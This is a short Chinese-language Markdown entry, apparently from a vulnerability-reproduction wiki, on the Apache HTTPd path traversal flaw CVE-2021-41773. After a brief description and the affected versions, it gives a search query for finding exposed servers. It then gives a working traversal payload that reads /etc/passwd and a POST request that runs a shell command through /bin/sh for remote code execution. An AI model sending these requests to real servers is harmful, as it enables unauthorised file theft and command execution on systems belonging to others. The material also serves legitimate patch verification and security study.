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39 lines
677 B
Markdown
39 lines
677 B
Markdown
# Apache HTTPd 路径穿越漏洞 CVE-2021-41773
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## 漏洞描述
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Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.49~2.4.50-本中存在一个漏洞，可读取服务器中的任意文件
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## 漏洞影响
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```
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Apache HTTPd 2.4.49~2.4.50版本
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```
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## 网络测绘
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```
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server="Apache/2.4.49"
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```
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## 漏洞复现
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Chorme插件Wappalyzer获取 Apache版本
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验证POC
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```
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/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
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```
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开启CGI的情况下可RCE
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```
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POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
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B=|id>/tmp/id_txt
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``` |